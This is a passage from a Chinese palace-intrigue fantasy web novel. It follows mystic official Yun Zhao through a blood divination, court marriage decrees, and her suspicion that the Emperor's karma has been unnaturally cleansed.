不过这也不奇怪,她与赵悉交情不错,在京城官场并非秘密,对方有所防备,实属正常。
看来往后她再备符箓,要想些别的材料以做防范了。
萧启开口道:“殷梦仙那边,昨夜刚一押入大理寺诏狱便‘晕厥’了。狱医查看,只说是惊惧过度,气血两亏。”
他顿了顿,抛出一个惊天大雷,“且,她已有了近两个月的身孕。”
不等云昭细想,萧启又抛出一个更值得玩味的消息:
“还有一事。今日一早,萧瓛府上的长史,亲自到了秦王府求见。”
“言道,三年前,谢灵儿曾偶然救过慎太妃一命。康王感念其救母之恩,恳请本王……
看在与康王府往日的情分,以及太妃年事已高、不忍见恩人横死的面子上,能网开一面,饶谢灵儿一命。”
云昭回想起那日谢灵儿曾叫嚷过,说她自幼与大皇子有婚约在身……
不论到底是救母之恩,还是确有婚约在身,这康王府与琅琊谢氏之间,恐怕都颇有渊源,值得深挖。
“殷府那边,殿下可曾查到什么?”云昭问。
萧启目光幽深,看着云昭:
“殷梦仙有孕一事,不在预料之内。是以查殷府之事暂缓,如若得空,想邀司主大人同去一趟。”
就在这时,门外传来一阵脚步声,紧接着是莺时的禀报声:
“司主,宜芳郡君府上的贴身婢女求见,说郡君有事,想请司主过府一叙。”
昨夜李扶音将裴琰之送来后,先被安置在京兆府厢房,之后便低调乘车回府。
今日一早又匆匆派人来请……
云昭眉心不由一跳。
李扶音,该不会是对她兄长……动了心思?
她略一思忖,对莺时道:“取纸笔来。”
很快,云昭写就一封简短信笺,交给莺时:
“将此信交给郡君府上的人,让她代为转交。告诉郡君,她所托之事,我记在心上,必会尽力。
请她暂且安心,勿要忧思过重,保重自身。”
信中,她并未明言裴琰之身份,只作了安抚承诺。
处理完此事,云昭想起还在前厅等候的赫连曜。
既然答应了为他卜卦寻人,便不宜再拖。
昭明阁前院,翠竹掩映间,云昭与赫连曜相对而坐。
二人面前的石桌上除了一壶清茶,空无一物。
赫连曜看着眼前气度沉静、容貌秾丽的女子,想到昏迷不醒的裴琰之,心中五味杂陈。
裴琰之那家伙,明明对能有这样一个妹妹骄傲得意得很,却偏要藏着掖着不肯相认。
而云昭这边,似乎也全然不知自己还有个兄长流落在外……
他心思转动,故意试探道:“云司主,你这占卜问卦之术,当真能卜算世间一切事吗?”
云昭抬眸,目光清凌凌地落在他脸上:“我手头待办之事很多,殿下不妨有话直说。”
赫连曜笑了笑:“我听闻,玄门中人,难以占卜自身命运轨迹,可是真的?”
云昭略一迟疑,点了点头:“确有限制。窥探自身命运长河,易遭反噬,且所见多为迷雾碎片,难辨真伪。”
赫连曜还想再问些关于命理的限制,云昭已抬手,掌心向下,虚按在石桌上方三寸之处,打断了他的话头:
“殿下既为寻友,便直接开始吧。请殿下将一滴血,滴于此处。”
她将杯中清茶一洒,指尖在空中虚划。
石桌光滑的表面竟随着她指尖灵光的牵引,无声
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无息地浮现出一层极薄的水膜!
水膜澄澈透明,平静如镜,倒映着竹影天光。
赫连曜心中称奇,依言咬破指尖,挤出一滴鲜红的血珠,滴落在水膜中心。
血珠入水,竟不散开,反而如同有生命般,在水膜中心缓缓旋转起来,拉伸出丝丝缕缕极细的血线。
云昭阖上双目,双手在胸前结成一个印诀,口中念诵起咒文。
随着咒文响起,那层水膜开始微微荡漾。
中心血珠旋转加快,散发出的血丝越来越多,渐渐在水膜上勾勒出一幅微缩而动态的星图!
星图不断变化,其中几颗“星辰”格外明亮,彼此间有细微的血丝相连。
紧接着,云昭伸出右手食指,指尖凝聚起一点璀璨的银芒。
她以指为笔,以灵力为墨,在虚空中快速勾勒出几个闪烁的符文,轻叱一声:
“灵丝牵机,因果循迹——显!”
那几个银芒符文如同活物,投入水膜星图之中。
霎时间,星图上代表赫连曜的那颗主星骤然亮起,延伸出数条极其纤细、近乎透明的银色灵丝。
灵丝如同探测的触角,向星图各处蔓延。
其中一条灵丝,明显比其他更为凝实,朝着星图某个方向不断延伸。
但那个方向的星图区域,却笼罩着一层灰蒙蒙的、仿佛浓雾般的阻隔。
灵丝抵达边缘后便徘徊不前,无法深入。
云昭睁开眼,眸光映照着水膜上变幻的星图与灵丝。
片刻后,她缓缓开口,声音带着一丝不易察觉的凝重:“殿下想找的这个人……活着。”
赫连曜精神一振。
“但是,”云昭蹙了蹙眉,盯着那被灰雾阻隔的区域,
“他活着的状态……有些特殊。
是一种蒙昧混沌、受困隔绝之象。”
说到这,她心头微动。
非要说的话,赫连曜要寻的这位友人,倒是与裴琰之当下的状态有些相似。
赫连曜心中一紧,追问:“可能锁定具体方位?”
云昭摇了摇头,指尖轻点那团灰雾:
“卦象显示,此人所在,被一种强大的力量或结界刻意遮蔽,导致天机混沌不明,方位难辨。
我的灵丝无法穿透这层遮蔽。”
接连在寻人之事上碰壁,云昭心中亦有些烦闷。
但她目光流转,再次落回星图之上,仔细观察赫连曜那颗主星与那根最凝实的灵丝之间,微弱的因果纠缠。
忽然,她眼中闪过一丝明悟:“倒是有一件事,可以确定。”
“殿下说,此人是你至交好友。”
她伸手指向水膜星图中,“这里有因果牵连之象。
从卦象反推,未来某日,当殿下遭遇生死大劫、命悬一线之际,此人,会救你一命。”
赫连曜闻言,先是一愣,随即大大松了口气,紧绷的神经松弛下来,脸上露出真切的笑容。
他朝云昭郑重一拱手:“能得此讯,足矣!谢过云司主!”
随即,他从怀中取出一个巴掌大小、以蜜蜡封口的白玉小盒,双手奉上:
“此乃我朱玉国王室秘藏的‘溯影砂’。小小谢礼,不成敬意。”
云昭接过玉盒,打开一丝缝隙,只见里面盛着小半盒细如尘埃的砂粒。
她心头微动,此物她只在典籍中见过寥寥数语的记载,现实之中从未得见!
或许……真能借助其“溯影”特性,尝试追踪兄长被严密隐藏的爽灵?
“此物珍贵,谢过殿下。”
云昭并未推辞。
眼下任何可能有助于寻找兄长“爽灵”的线索或物品,她都需尽力争取。
说话间,云昭起身,准备与萧启、赵悉一同前往殷府探查。
然而,她刚绕过影壁,一道身着内侍服饰的身影便已走下台阶。
是常玉公公。
见她出来,常玉立刻笑容满面地迎上前,恭敬地行了一礼:
“云司主,奴婢可算等到您了。陛下有口谕,请您即刻入宫觐见。”
第303章 皇后归来
云昭与萧启并肩踏入宫门时,恰逢一乘装饰华美、缀满珠玉的轿辇被宫人缓缓抬起。
就在轿辇与二人即将错身而过的瞬间,一阵微风恰好拂起轿窗一侧的垂珠帘幕。
云昭的目光无意间扫过。
帘内,玉珠公主端坐的身影一闪而过。
只是惊鸿一瞥,云昭却敏锐地捕捉到了异样。
玉珠公主那张往日总是带着骄纵的脸上,此刻却是一片近乎僵硬的平静。
眼神直勾勾地望着前方,不知在发什么呆。
引路的大太监常玉见状,脸上堆起惯常的和气笑容:“王爷,云司主,这边请。”
云昭抬手,将一个颇为厚实的荷包递给常玉。
荷包里是她闲暇时绘制的安神符,效用温和持久,最适合常玉这般需日夜侍奉、心神耗损的宫人。
她语气寻常,仿佛只是举手之劳:“一点小玩意,公公夜里当值时若觉乏了,或许能用得上。”
常玉笑吟吟的双手接过,不着痕迹地拢入袖中,压低声音道:
“云司主每次来都惦记着此事,真是折煞老奴了。”
他这话发自真心。
旁人只道云昭这位玄察司司主手段凌厉,铁面无私。
但在常玉看来,云昭心思玲珑,处事有度,更难得的是这份不动声色的体恤。
自从第一次因缘际会,云昭赠了他几张安眠符,助他缓解了多年浅眠易惊的毛病后,这份“薄礼”便从未断过。
如今他夜夜好眠,精神焕发,自觉至少能多活十年。
这份“香火情”,他自然记在心上。
他引着二人继续向清凉殿走去,脚步微缓,似闲聊般低语:
“说起来,这位玉珠公主……心思可真是一日三变。
前些日子还信誓旦旦,非姜家那位公子不嫁,缠着陛下赐婚。
这才过了多久?转头又看上了旁人。今日入宫,可是求了陛下好一阵呢。”
他瞥了一眼云昭和萧启的神色,继续道:
“陛下这回倒是准了,不过也好好叮嘱了公主一番。
咱们大晋的男儿,可不比她们朱玉国那边随意。
陛下一旦金口玉言赐下婚约,那便是君无戏言,关乎国体颜面,断没有朝令夕改、说换就换的道理。
若再反复,便是视我大晋礼法与陛下威严于无物了。”
换亲?
云昭心头蓦然升起一丝不妙的预感。
她不动声色地问:“不知公主这次,又瞧上了哪位青年才俊?”
常玉公公呵呵一笑,语气里带着几分对年轻人的调侃,也有一丝惋惜:
“还能有谁?不就是那位年轻有为、模样又生得顶顶俊俏的裴侍郎,裴琰之裴大人嘛!
也难怪公主移情,裴侍郎那样的人物,满京城也挑不出几个来。
玉珠公主眼界高,看上他也不稀奇。”
他顿了顿,声音压得更低,“只是……这尚公主,对寻常人是登天梯,对裴侍郎那般前程似锦的臣子而言,恐怕就未必是美事了。”
云昭闻言,眉心骤然紧蹙。
萧启面色更冷,直接问道:“陛下已经颁下赐婚圣旨了?”
常玉见萧启脸色不豫,点了点头,将声音压得更低:“是,圣旨已拟,只待用印宣发了。”
他抬眼飞快扫了下四周,用气音补充道,
“太子殿下亦在一旁,一同向陛下陈情请旨。陛下似乎颇为欣慰,太子能为国分忧,虑及邦交。”
最后四字,他说得意味深长。
萧启眼中寒芒一闪。
皇帝原本非常赏识裴琰之的才干与心性,是有意将其作为股肱之臣来栽培的。
谁都清楚,尚一位行事荒唐、背景复杂的异国公主,对一位有志于朝堂、前景光明的青年官员而言意味着什么。
姜珩那般无甚大才、亟需攀附之人,才会将尚公主视为青云路。
换做任何一个有抱负的男子,谁会愿意?
太子此举,分明是要断裴琰之的仕途,将其束缚于这桩带有羞辱与监控意味的婚姻之中!
太子必定是向皇帝承诺或交换了什么,才让皇帝“欣然”同意了这桩明显会折损臣子前途的赐婚。
云昭却在飞速思索方才对玉珠公主那惊鸿一瞥的异样。
在她印象里,玉珠公主素来娇蛮跋扈,情绪外露。
此前每次见面,即便慑于场合不敢过分,眼神也总带着挑衅与审视。
今日却如同换了个人,木然呆板……
一旁,萧启忽然故意蹙紧眉头,对常玉道:
“常公公,恐怕……陛下今日这桩赐婚,要暂且搁置了。”
常玉惊愕地看向他:“殿下此话怎讲?”
萧启却不解释,只催促道:“事关重大,涉及两国邦交与朝廷重臣性命,需立刻面禀陛下。还请公公速速带路。”
云昭看向萧启,萧启几不可察地微微摇首,示意她稍安勿躁。
两人跟随常玉,快步走向清凉殿。
殿内,气氛与往日略有不同。
皇帝端坐于御案之后,神情竟一扫往日的疲惫阴郁,竟是出乎意料的红润有光,连眼神都显得清亮了许多。
令云昭略感意外的是,太子萧鉴此次并未像往常那般站在近前,而是赐了座位,也坐在了皇帝身畔略下首的位子。
只见他背脊挺直,脸上混合着志得意满与隐隐亢奋的神情。
更引人注目的是,在御案另一侧下首,设了一座,端坐着一位云昭从未在正式场合见过的宫装女子。
她看起来约莫三十五六岁的年纪,穿着一身藕荷色绣球花织金宫装。
梳着高高的**髻,发间簪着九凤衔珠步摇,仪态万方。
竟是此前一直在清凉寺带发修行的孟皇后!
最令云昭微讶的是她的容貌。
并非孟贵妃那般艳丽逼人的美,而是清丽婉约,眉如远山,目似秋水。
唇角天然带着微微上翘的弧度,不说话时也仿佛含笑。
通身气度娴雅从容,宛如一朵静静盛放的玉兰,让人观之可亲。
云昭与萧启上前见礼。
孟氏的目光率先落在云昭身上,带着长辈打量晚辈的慈和:
“这位便是陛下时常挂在嘴边称赞的云司主吧?
果真是气质清华,灵秀内蕴。
本宫虽远在深山,也听闻云司主屡破奇案,护佑京城安宁,实乃女中英杰,令人钦佩。”
她夸得真诚,语气拿捏得极好,既显身份,又不过分亲热。
随即,她又将目光转向萧启。
眼中泛起一丝更为真切的、属于长辈的感慨与怜惜,声音放得更柔:
“多年不见,渊儿愈发沉稳挺拔了,你母后若在天有灵,看见你今日这般出息,定会欣慰不已。”
此言一出,皇帝眸中飞快闪过一抹不豫。
萧启神色疏离,依礼拱手:“谢皇后娘娘赞誉。娘娘凤体安康,是朝廷之福。”
云昭借着行礼与回应皇后话头的间隙,目光飞快扫过御座上的皇帝,心中疑窦更深。
她悄然运转玄瞳之术,凝神望去——
从前,皇帝虽
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保养得宜,面容英伟,但眼底总带着挥之不去的欲色与阴鸷。
周身龙气虽盛,却色泽晦暗,如同被厚厚的油污覆盖,更缠绕着浓重得化不开的灰黑色业力。
这正是德不配位、业债深重的彰显,绝非长寿善终之兆。
然而今日,那些令人望之生厌的灰黑业力与怨念,竟然消失了十之七八!
剩余的少许也如同被**净化过一般,蛰伏不动,不再活跃地侵蚀龙气。
皇帝周身的龙气变得纯净、通畅,色泽也恢复了尊贵的深紫光华,甚至隐隐透出一股勃发的生机!
这绝非自然好转!
皇帝并非修德养性、积功累善之人,自云昭入朝以来,观其日常行事,只可能加重业力,绝无可能自行净化至此!
这更像是……有人以某种逆天手段,强行将自身或他处的庞大功德或纯净气运,灌注或转移到了皇帝身上,替他暂时“洗刷”了业力纠缠!
这怎么可能?
业力缠身,尤其是帝王业力,牵涉因果之重,寻常玄门手段避之唯恐不及。
谁敢、又能轻易为其“净化”?
且这般“净化”效果如此显著迅速,背后所需付出的代价,恐怕惊人!
云昭眉头几不可察地蹙紧。这太不合常理了!
就在云昭暗自心惊之际,皇帝已听完常玉的低声回禀,抬眸看向萧启:
“渊儿,你方才在外对常玉说,玉珠公主的婚事恐有变数?究竟发生何事?”
萧启拱手沉声道:“回禀陛下,昨日傍晚,侄儿与云昭自清水县返京途中意外救下了重伤昏迷的裴琰之裴大人。
其伤势诡异沉重,至今未醒。行凶者身份未明,但手段狠辣,显然意在取其性命。”
“竟有此事?”皇帝闻言,脸上笑意一敛,露出震怒之色,
“天子脚下,京师重地,竟有人敢对朝廷命官下此毒手!刑部、大理寺、京兆府是做什么吃的?可曾查到线索?!”
太子萧鉴脸色却是一沉,忍不住插言道:“堂兄此言,可有实证?裴侍郎好端端的,怎会突然重伤昏迷?”
云昭瞥了太子一眼。皇后一回来,太子这底气果然足了不少,连在御前都敢直接质疑秦王了。
不过,看他那神色,质疑与不悦交织,倒不像是故作姿态。
她从容接话:“回陛下,裴侍郎如今伤势特殊,体内有阴煞邪气盘踞,伤及根本。
贸然挪动诊治,恐加速邪气蔓延,危及性命。
故暂时安置于昭明阁,由臣以玄术配合医药,先行稳住伤势。”
太子闻言,眉头皱得更紧:“云司主医术通玄,外号‘小医仙’,连章院首都自叹弗如。
既有司主亲自救治,裴侍郎想必已无大碍,何至于影响赐婚大事?”
皇后孟氏此时温言开口,声音如春风拂面,打断了太子略带尖锐的话语:
“鉴儿,不得无礼。云司主既有‘小医仙’之名,连章院首都曾赞不绝口,想来行事定有她的道理。陛下,”
她转向皇帝,神色恳切:“臣妾久不在陛下身边,未能及时知晓这些英才之事。
云司主既然说裴侍郎伤势危重,需特殊之法诊治,想必确有苦衷。还请陛下勿要怪罪。”
云昭静静听着,目光落在皇后那张温婉动人的脸上。
她言语滴水不漏,神情真挚自然,看不出半点造作。
这种人,要么是真正心地纯善、与世无争,要么……就是心机深沉到了极致,演技已臻化境,喜怒不形于色。
第304章 同一天完婚
皇帝蹙了蹙眉,显然也被这突如其来的变故弄得有些心烦。
他沉吟片刻,沉声道:“既如此……常玉,传朕口谕:
命太医院院首章太医即刻前往昭明阁,会同云昭一同诊治裴琰之。
务必要尽全力,将人给朕救醒!”
他语气陡然转厉:“至于凶手,京兆府、大理寺、玄察司协同严查,严查此案!十日内,朕要见到凶手伏法!”
他顿了顿,目光扫过萧启和云昭,语气加重:
“至于赐婚之事……玉珠公主代表朱玉国,裴琰之乃我大晋臣子。
两国联姻,关乎邦交和睦,非同儿戏。圣旨已拟,金口玉言,岂能因裴琰之一时伤病便作罢?
待他伤愈,婚事照常举行。在此期间,尔等需尽心救治,不得有误。”
云昭心头微沉。
皇帝这话,等于是堵**以裴琰之重伤为由直接拒婚的可能。
言下之意,哪怕裴琰之只剩一口气,只要没死,这婚就得结。
那如果……她最终没能找回兄长的“爽灵”,裴琰之不幸身亡呢?
恐怕,届时就不是简单的婚事取消,而是会引发朱玉国对大晋的不满,甚至动摇两国邦交。
而这,也必然成为太子乃至其他有心人攻讦秦王与她的把柄。
云昭与萧启对视一眼,二人默契地不再就此争辩。
云昭心中更是冷静。
圣旨固然如山,但事在人为,并非没有转圜之隙。
且不说她定会拼尽全力,寻回兄长魂魄,助其苏醒。
单是玉珠公主那边……为何突然弃姜珩而择裴琰之?
且其今日那般木然神情,本身就透着蹊跷。
这桩赐婚背后,恐怕远不止“公主移情”那么简单。
皇帝见他们不再多言,面色稍霁,转而道:
“今日召你二人入宫,除了玉珠公主之事,还有另一桩要事。”
话音未落,内侍常海快步进殿,附耳向常玉低语几句。常玉旋即走近御前,躬身禀报。
皇帝听罢,脸上不见喜怒,只道:“让她进来。”
常玉会意,躬身退下,很快引着一人走了进来。
来人正是安王妃薛静姝。
她今日穿着庄重的诰命服饰,脸上施了脂粉,却仍掩不住眼底的憔悴。
她一进殿,目光快速扫过在场众人,尤其是在太子身上停留了一瞬。
随即毫不犹豫地朝着御座方向,深深跪拜下去,声音带着压抑的哽咽与恳切:
“臣妇薛静姝,叩见陛下,皇后娘娘,太子殿下,秦王殿下。
臣妇今日斗胆觐见,念在安王府世代忠烈、夫君陆擎戍守南疆多年、从未有负皇恩的份上,
成全小女与太子殿下的一片痴心,赐下婚约,以安臣妇与安王府上下惶惶之心!”
言罢,以头触地,久久不起。
殿内霎时一静。
皇帝目光深沉地看着跪伏在地的薛静姝,并未立刻叫起,而是缓缓道:
“太子,你的意思呢?”
太子满面红光,急声道:“父皇!儿臣与南华郡主两情相悦,此前虽有误会,但倩波她对儿臣情深意重。
儿臣亦愿以正妃之位迎娶,此生不负!恳请父皇恩准!”
他一时心潮澎湃,甚至连大婚日期都迫不及待地设想好了:
“儿臣想着,若能将婚期定在九月初九重阳佳节,既是登高望远、敬老尊贤的吉日,又寓意长久美满,岂不两全其美?
届时皇祖母回宫,正好赶上盛典!
父皇,不若儿臣这就修书一封,快马送往崇光寺,禀明皇祖母?
她老人家素来疼爱儿臣与倩波,得知此讯,必定欣喜万分,说不定会提前回宫,亲自为儿臣主持大婚!”
皇帝沉默片刻,目光微动。
“既然安王妃亲自恳请,太子亦有此意,南华郡主品貌出身,倒也配得上东宫主位。”
皇帝顿了一下,“常玉,拟旨:
册封安王府南华郡主陆倩波为太子妃,择吉日完婚。
具体婚仪,由礼部会同钦天监商议操办。
“太后为国祈福,心念虔诚,不必急于一封书信搅扰。
婚事既定,便由钦天监与礼部着手筹备,吉日……就定在九月初九吧。
重阳佳节,寓意长久,甚好。”
九月初九——距今不足三月。
“儿臣(臣妇)谢陛下隆恩!”
太子与薛静姝同时叩首,声音一个充满狂喜,一个带着颤抖的释然。
皇帝摆了摆手,示意他们平身,目光却若有深意地掠过太子。
云昭冷眼旁观,心中清明如镜:太子显然尚且不知太后已然薨逝的消息!
宫里将此事瞒得滴水不漏。
而安王夫妇选择三缄其口,未敢泄露半分,恐怕是以此作为筹码之一,换取了皇帝这桩“恩典”。
薛静姝今日,是押上了安王府的忠烈名声,为女儿搏一个太子妃之位。
只是,太子如今烈火烹油,鲜花着锦——
有皇后回宫撑腰,又得赐婚藩镇之女为正妃。
看似风光无限,实则已被推至风口浪尖,更招皇帝忌惮。
且看皇帝方才看向薛静姝时,眼底一闪而过的冰冷与审视,便知这桩“成全”背后,绝非单纯的慈父之心。
这桩赐婚即便成了,最终能否顺利礼成,犹未可知。
想到此,云昭的目光再次落回一旁薛静姝的脸上。
只见薛静姝双眼下方、鼻翼两侧的泪堂部位,肤色黯淡,隐隐泛青,且纹理略显杂乱。
尤其是右侧泪堂,有一道极细微的、斜向下延伸的浅纹,宛如泪痕。
在相学中,此处为“阴鸷宫”,亦主子女运势。
其色泽晦暗,主子女缘薄,运势不佳;
浅纹如泪,更是暗示晚年恐因子女之事伤心落泪,有白发人送黑发人之忧。
薛静姝今日之举,看似为女儿谋求泼天富贵,实则很可能在将陆倩波推向一个更为危险的深渊。
甚至,可能亲手葬送女儿的性命与未来。
而皇帝……云昭对这位帝王的心性,已有相当了解。
他勤政有为,亦疑心深重,最厌受人辖制或权柄受胁。
今日薛静姝以“忠烈之后”、“戍边之功”,乃至太后已薨的隐秘,为女求来太子妃之位。
在皇帝眼中,何尝不是一种隐形的要挟与捆绑?
这桩婚事,表面皆大欢喜,太子和安王妃表面各得其所,但长远来看,祸根已埋,必遭反噬!
皇帝转向云昭,语气平缓却深长:“云昭,
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你虽已与姜府断了干系,但有些事,该叫你知道。”
他略顿,声音转沉:
“梅氏戕害龙裔,本该受尽苦楚而死,但姜世安却私自扼死梅氏。
朕已判他斩首之刑,三日后处决。”
说到此处,皇帝目光瞥向太子。
太子浑身一激灵,慌忙跪地:
“父皇!心儿心思纯善,对其父所为毫不知情!
况且……况且她如今正怀着儿臣的骨肉,还望父皇从轻发落!”
一旁薛静姝见太子如此急切为姜绾心求情,想起昨夜女儿提起姜绾心时那委屈隐忍的模样,顿时气得指尖发颤。
她刚欲开口,目光却撞上皇后淡淡睇来的视线。
皇后目光并不严厉,却让薛静姝莫名生出一股寒意,瞬间垂眸噤声。
皇帝听见太子这番话,不由皱了皱眉,眼底掠过一丝清晰的不耐与不悦。
他目光扫过薛静姝,心中已有决断,故意扬声道:
“也罢。就看在她怀有皇室血脉的份上,朕便格外开恩——
册封姜绾心为太子侧妃,与正妃同一日行礼完婚。”
太子闻言大喜,只觉一切皆如先前与姜珩所谋,如愿以偿。
他这般喜形于色的反应,落在低垂着眼的薛静姝眼底,令她袖中双手狠狠攥紧,眼底怨毒翻涌。
姜绾心……娘**,爹将斩,姜府已倒,连唯一的长姐云昭都恨她入骨。
太子却仍这般护着她!
凭什么?
她薛静姝的女儿,自小如珠如宝养大,岂能受此羞辱!
说来说去,不就是为了姜绾心肚子里那块肉?
薛静姝眼底寒光一闪。
大不了……就一并除掉。
也省得那**日后倚仗子嗣,给女儿添堵。
皇帝将众人神色收于眼底,忽又开口:“云昭,渊儿。”
他语气似随意,却带着不容置疑的意味:“朕想了想,不若你二人的婚事也一并提前?同一天办了,倒也热闹。”
云昭蓦然抬眸,正撞见皇帝眸中一闪而过的深晦之色。
他究竟在打什么主意?
方才故意赐婚姜绾心为侧妃,还可说是为制衡安王府、让太子后院起火。
如今让她与萧启也同日成婚,又是何意?
他是不是巴不得萧启与太子彻底对立,你死我活?
回想起前世种种,云昭暗忖:
当时未曾亲见皇帝结局,但太子与萧启皆死,天下大乱,她自然以为皇帝也已不在。
尤其此前每每见到皇帝,他都是一副业力缠身,不久于世的模样;
再兼云昭知道柔妃一直以来为了报仇,以身饲毒;
便一直下意识地认为,皇帝结局自当一切如同前世。
可眼下看皇帝这副生龙活虎、运筹帷幄的模样,她忽然对自己此前的判断产生了怀疑。
正思绪纷转间,身侧的萧启却已平静躬身:
“臣,谢陛下隆恩。”
云昭:“!!!”
怎么就突然到了谢恩环节?
她倏然侧眸,只见萧启面色虽沉静如常,但眼底那缕飞快掠过的微亮喜色,却不似作伪。
云昭:“……”
秦王殿下,您的谨小慎微,您的处处提防呢?
这就又不怕其中有诈了?
第305章 自家人
太子和安王妃各怀心思,退出了清凉殿。
安王妃薛静姝脚步看似平稳,眼角眉梢却压着一丝挥之不去的阴郁。
太子则步履轻快,唇角上扬的弧度几乎压抑不住。
殿内重归肃静。
皇帝目光落在皇后身上,对她说话的态度倒是很客气:
“梓潼一路舟车劳顿,方才回宫,要好生歇息,保重身体才是。”
皇后微微欠身,姿态恭顺婉约:“多谢陛下关怀。
臣妾自知孟氏一族铸下大错,无可饶恕,不敢、亦无颜面替孟家求情。”
她抬眸望向皇帝,眸中透出几分恳切之色,“只是……清妍那孩子,毕竟还怀着龙裔。
她年少入宫,如今母族倾覆,惶恐无依,臣妾想去瞧瞧她。”
见皇帝神色未动,皇后又道:“臣妾今早听御医回话,说清妍这胎养得尚算稳妥.
如今月份渐大,腹形圆润,脉象也偏柔滑……瞧着,倒像是个贴心的小公主。”
她唇角浮起一抹笑意,“陛下膝下公主不算多,可见这孩子是个懂得心疼爹娘的,一心想当陛下的贴心小棉袄呢!”
皇帝原本一听到“孟氏”二字,眼底便掠过阴翳,手指也无意识地摩挲着御座扶手上的龙首浮雕。
然而随着皇后娓娓道来,他紧绷的面部线条慢慢松弛下来,眼底的冰霜也似被这温和的话语融化了几分。
他沉默片刻,终是摆了摆手:“罢了,你既有心,便去看看吧。”
云昭将这一幕尽收眼底,只觉这位皇后娘娘真的很会说话。
孟氏因为孟峥杀良冒功一案,已成大晋立朝以来罕见的奇耻大辱,朝野震动,天下哗然。
任何与孟家沾边的求情,都无异于在挑战帝王逆鳞,只会引来雷霆之怒。
但皇后只提孟清妍,而且特意提及她怀的是个女孩。
一个不涉权柄、只承载着天伦之乐的小公主,显然更能触动帝王内心深处对寻常亲情的渴望。
更何况,从前的孟清妍倚仗母族权势,在宫中风头无两。
皇帝对她的宠幸,忌惮与权衡,远多于真情。
如今孟氏这棵大树已轰然倒塌,孟清妍成了无根浮萍。
往昔十年陪伴君侧的情分,在彻底失去威胁之后,反而可能触及帝王内心的柔情。
皇后此刻看似轻描淡写的“提点”,就像在平静湖面投下一颗小石子。
漾开的涟漪,或许真能在未来某日,为困守冷宫的孟清妍换来一丝喘息之机。
云昭不由想起柔妃。
幸好柔妃那一胎,本就是假孕,借梅氏之手令她“痛失孩儿”,换来皇帝几分真切的怜惜与愧疚,算来并不亏蚀。
否则,若柔妃也像这宫里许多女子一般,将一颗真心毫无保留地系于帝王之身。
亲眼目睹皇帝因皇后几句话,便对孟清妍心软,还不知要如何心灰。
眼见皇后行礼告退,身姿端庄地消失在殿门外的光影里,云昭收回思绪:
“陛下,不知柔妃娘娘近来身子可还好?”
皇帝起身,示意云昭和萧启跟着自己,抬步朝殿外走去。
他不由睨了云昭一眼:“难得听你主动问及柔妃。”
过往只见柔妃提及云昭时,语气熟稔,颇为挂念,从不见云昭对柔妃有何亲近之处。
云昭跟在皇帝身畔,落后半步,微微垂睫:“陛下明鉴。
只是方才听皇后娘娘提及身孕之事,心下触动,不由想起了柔妃娘娘。”
皇帝脚步未停,穿过一道月亮门,步入御花园中。
园内草木葳蕤,花香袭人,他负手走在卵石小径上,望着不远处一丛开得正盛的蔷薇:
“她年纪尚轻,身子底子也好。只要她能放开胸怀,悉心调养……朕,定然还会让她有自己的孩儿的。”
他侧首,目光在云昭面上停留一瞬,
“你若有暇,不妨随时进宫来,多陪她说说话,开解一二。
你们年纪相仿,或许能说到一处去。”
“微臣遵旨。”云昭恭声应道。
眼帘微垂的瞬间,却将皇帝方才的神态尽收眼底。
尤其说到定会让柔妃也有自己孩儿时,皇帝眼底精光流转,不容置喙。
这让她不由得联想起方才殿上,皇帝轻描淡写便将姜绾心抬为太子侧妃的举动。
太子妃尚未过门,侧妃已定,且这侧妃肚子里还怀着长子(此处云昭在分析皇帝心思,前文264章写过,云昭发现姜绾心胎灵不见了,两下并不矛盾)。
安王府与东宫之间,从联姻伊始,便已生了嫌隙。
日后太子后院,怕是无一日安宁。
而皇帝执意让太子和秦王同一日大婚,说不定,还真是打着让太子与秦王往死里斗的心思!
届时,他稳坐钓鱼台,看着两虎相争,无论哪一方受损,都于他稳固皇权有利。
若能借此多拖延一些年岁,等到后宫再有年轻嫔妃诞下皇子,从小精心教养……
届时,羽翼渐丰的幼子,未必不能成为帝王全新的选择!
自从方才见到皇帝周身龙气异常,云昭心中已存了试探之心。
面对皇帝时,言语便不似往日那般刻意保持拘束,反而多了几分“自家人”的松弛。
偏偏,皇帝今日也另有所图。
对云昭的“逾矩”非但不以为忤,态度甚至称得上和颜悦色。
这番景象落在秦王萧启,以及侍立左右的大太监常玉、常海眼中,自是引得他们心思各异。
一行人沿着蜿蜒花径,来到太液池边一座临水而建的六角凉亭。
亭内早已设好了锦垫与清凉的饮子。
皇帝当先入内,在铺着软褥的石凳上坐下,随意地挥了挥手:“都坐吧,此处没有外臣,不必拘礼。”
待云昭与萧启落座,皇帝端起白玉盏,浅啜了一口冰镇过的酸梅饮,目光落在云昭脸上,开门见山道:
“云昭,你是聪明人,往后,更是朕的自家人。
今日朕特意召你与渊儿入宫,你心中可能猜到所为何事?”
云昭闻言,并未立刻回答,而是故意微微侧首,瞥了一眼身旁的萧启。
随后才抿了抿唇道:“陛下可是有什么话,想要叮嘱云昭与殿下?”
皇帝见云昭方才那状似全然信赖的一眼,眸中闪过一抹复杂之色。
渊儿……在情路一事上,比自己好运得多。
皇帝定了定神,顺着云昭的话头道:
“朕将你们婚期提前,自是冀望你二人日后夫妻和睦,同心同德,既为家室,亦为朕之臂助”。
随后,他话锋随即一转:“云昭,你近来可曾去瞧过你义母?”
云昭一听,顿时明白皇帝这葫芦里卖的什么药。
当晚在安王府发生的一切,说是震惊京城也不为过,这般惊天动地的大事,怎可能瞒得过皇帝遍布的耳目?
她面上不显,如实答道:“前次陪义母同往安王府,义母当晚便急怒攻心,回府后就病倒了,
之后宫内外接连出事,云昭虽心中惦念义母,奈何事务缠身,至今还未得空前去探望。”
云昭与萧启近来的动向,皇帝通过顾影的每日密报,大致有数。
比起太子那边门庭若市、动作频频,萧启与云昭的行事,反而更让他放心。
皇帝道:“若不是安王上了封请罪折子,将当夜之事详细陈奏,并自请管教不严之罪……
朕还被蒙在鼓里,竟不知倩波那孩子,当众闹出这样不堪的事来!”
他抬眼,目光直视云
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昭,那眼神里竟带着几分咨询的意味,仿佛真的在为此事烦恼:
“如今赐婚的旨意已下,可你义母那边……唉,云昭,依你看,朕如今该如何是好?”
云昭垂眸,掩去眼底一闪而逝的淡淡讽意。
便宜都让你占尽了,既用赐婚拉拢了安王府,又给太子后院埋了钉子,现在倒来问我这个夹在中间的人该怎么办?
这帝王心术,真是运用得炉火纯青。
她抬起眼,仿佛认真为皇帝分忧:
“陛下可是担心,义母得知陛下不仅未追究南华郡主之过,反而颁下赐婚圣旨,会因此与陛下心生芥蒂,甚至从此怨怼陛下?”
